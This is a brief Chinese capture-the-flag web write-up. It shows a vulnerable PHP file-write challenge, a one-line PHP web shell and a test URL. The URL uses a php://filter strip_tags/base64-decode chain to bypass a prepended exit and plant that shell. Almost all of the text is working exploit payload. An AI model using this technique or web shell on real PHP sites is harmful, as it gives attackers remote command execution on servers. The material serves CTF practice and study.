【CTF WEB】函数绕过

函数绕过

<?php
show_source(__FILE__);
$c = "<?php exit;?>";
@$c.=$_GET['c'];
@$filename = $_GET['file'];
@file_put_contents($filename, $c);
highlight_file('tmp.php');
?> <?php
system($_REQUEST['z']);
?>

测试方法

http://218.2.197.236:29854/index.php?file=php://filter/write=string.strip_tags|convert.base64-decode/resource=tmp.php&c=PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsneiddKTsKPz4=